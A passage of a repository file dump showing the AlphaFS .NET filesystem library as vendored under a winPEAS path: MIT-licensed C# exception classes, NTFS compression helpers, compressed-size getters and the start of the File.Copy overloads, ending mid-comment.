    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The exception that is thrown when an attempt to create a file or directory that already exists was made.</summary>\n   [Serializable]\n   public class TransactionException : SystemException\n   {\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionException\"/> class.</summary>\n      public TransactionException()\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public TransactionException(string message) : base(message)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public TransactionException(string message, Exception innerException) : base(message, innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionException\"/> class.</summary>\n      /// <param name=\"info\">The data for serializing or deserializing the object.</param>\n      /// <param name=\"context\">The source and destination for the object.</param>\n      protected TransactionException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/TransactionalConflictException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The function attempted to use a name that is reserved for use by another transaction.</summary>\n   [Serializable]\n   public class TransactionalConflictException : TransactionException\n   {\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionalConflictException\"/> class.</summary>\n      public TransactionalConflictException()\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionalConflictException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public TransactionalConflictException(string message) : base(message)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionalConflictException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public TransactionalConflictException(string message, Exception innerException) : base(message, innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionalConflictException\"/> class.</summary>\n      /// <param name=\"info\">The info.</param>\n      /// <param name=\"context\">The context.</param>\n      protected TransactionalConflictException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/UnrecognizedReparsePointException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Globalization;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The function attempted to use a name that is reserved for use by another transaction.</summary>\n   [Serializable]\n   public class UnrecognizedReparsePointException : System.IO.IOException\n   {\n      private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_INVALID_REPARSE_DATA);\n      private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_INVALID_REPARSE_DATA, new Win32Exception((int) Win32Errors.ERROR_INVALID_REPARSE_DATA).Message.Trim().TrimEnd('.').Trim());\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnrecognizedReparsePointException\"/> class.</summary>\n      public UnrecognizedReparsePointException() : base(string.Format(CultureInfo.InvariantCulture, \"{0}.\", ErrorText), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnrecognizedReparsePointException\"/> class.</summary>\n      /// <param name=\"message\">The custom error message..</param>\n      /// <param name=\"lastError\">The GetLastWin32Error.</param>\n      public UnrecognizedReparsePointException(string message, int lastError) : base(message, lastError)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnrecognizedReparsePointException\"/> class.</summary>\n      /// <param name=\"path\">The path to the file system object.</param>\n      public UnrecognizedReparsePointException(string path) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnrecognizedReparsePointException\"/> class.</summary>\n      /// <param name=\"path\">The path to the file system object.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public UnrecognizedReparsePointException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnrecognizedReparsePointException\"/> class.</summary>\n      /// <param name=\"info\">The info.</param>\n      /// <param name=\"context\">The context.</param>\n      protected UnrecognizedReparsePointException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/UnsupportedRemoteTransactionException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The remote server or share does not support transacted file operations.</summary>\n   [Serializable]\n   public class UnsupportedRemoteTransactionException : TransactionException\n   {\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnsupportedRemoteTransactionException\"/> class.</summary>\n      public UnsupportedRemoteTransactionException()\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnsupportedRemoteTransactionException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public UnsupportedRemoteTransactionException(string message) : base(message)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnsupportedRemoteTransactionException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public UnsupportedRemoteTransactionException(string message, Exception innerException) : base(message, innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"UnsupportedRemoteTransactionException\"/> class.</summary>\n      /// <param name=\"info\">The object that holds the serialized object data.</param>\n      /// <param name=\"context\">The contextual information about the source or destination.</param>\n      protected UnsupportedRemoteTransactionException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.Compress.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Compresses a file using NTFS compression.</summary>\n      /// <param name=\"path\">A path that describes a file to compress.</param>      \n      [SecurityCritical]\n      public static void Compress(string path)\n      {\n         Device.ToggleCompressionCore(null, false, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a file using NTFS compression.</summary>\n      /// <param name=\"path\">A path that describes a file to compress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void Compress(string path, PathFormat pathFormat)\n      {\n         Device.ToggleCompressionCore(null, false, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.CompressTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Compresses a file using NTFS compression.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a file to compress.</param>      \n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path)\n      {\n         Device.ToggleCompressionCore(transaction, false, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a file using NTFS compression.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a file to compress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         Device.ToggleCompressionCore(transaction, false, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.Decompress.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed file.</summary>\n      /// <param name=\"path\">A path that describes a file to decompress.</param>      \n      [SecurityCritical]\n      public static void Decompress(string path)\n      {\n         Device.ToggleCompressionCore(null, false, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed file.</summary>\n      /// <param name=\"path\">A path that describes a file to decompress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void Decompress(string path, PathFormat pathFormat)\n      {\n         Device.ToggleCompressionCore(null, false, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.DecompressTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a file to decompress.</param>      \n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path)\n      {\n         Device.ToggleCompressionCore(transaction, false, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a file to decompress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         Device.ToggleCompressionCore(transaction, false, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.GetCompressedSize.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Retrieves the actual number of bytes of disk storage used to store a specified file.</summary>\n      /// <remarks>\n      ///   If the file is located on a volume that supports compression and the file is compressed, the value obtained is the compressed size\n      ///   of the specified file. If the file is located on a volume that supports sparse files and the file is a sparse file, the value\n      ///   obtained is the sparse size of the specified file.\n      /// </remarks>\n      /// <param name=\"path\"><para>The name of the file.</para></param>\n      /// <returns>The actual number of bytes of disk storage used to store the specified file.</returns>\n      [SecurityCritical]\n      public static long GetCompressedSize(string path)\n      {\n         return GetCompressedSizeCore(null, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the actual number of bytes of disk storage used to store a specified file.</summary>\n      /// <remarks>\n      ///   If the file is located on a volume that supports compression and the file is compressed, the value obtained is the compressed size\n      ///   of the specified file. If the file is located on a volume that supports sparse files and the file is a sparse file, the value\n      ///   obtained is the sparse size of the specified file.\n      /// </remarks>\n      /// <param name=\"path\"><para>The name of the file.</para></param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The actual number of bytes of disk storage used to store the specified file.</returns>\n      [SecurityCritical]\n      public static long GetCompressedSize(string path, PathFormat pathFormat)\n      {\n         return GetCompressedSizeCore(null, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Compression/File.GetCompressedSizeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>\n      ///   [AlphaFS] Retrieves the actual number of bytes of disk storage used to store a specified file as part of a transaction. If the file\n      ///   is located on a volume that supports compression and the file is compressed, the value obtained is the compressed size of the\n      ///   specified file. If the file is located on a volume that supports sparse files and the file is a sparse file, the value obtained is\n      ///   the sparse size of the specified file.\n      /// </summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\"><para>The name of the file.</para></param>\n      /// <returns>The actual number of bytes of disk storage used to store the specified file.</returns>\n      [SecurityCritical]\n      public static long GetCompressedSizeTransacted(KernelTransaction transaction, string path)\n      {\n         return GetCompressedSizeCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>\n      ///   [AlphaFS] Retrieves the actual number of bytes of disk storage used to store a specified file as part of a transaction. If the file\n      ///   is located on a volume that supports compression and the file is compressed, the value obtained is the compressed size of the\n      ///   specified file. If the file is located on a volume that supports sparse files and the file is a sparse file, the value obtained is\n      ///   the sparse size of the specified file.\n      /// </summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\"><para>The name of the file.</para></param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>The actual number of bytes of disk storage used to store the specified file.</returns>\n      [SecurityCritical]\n      public static long GetCompressedSizeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetCompressedSizeCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.Copy.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This 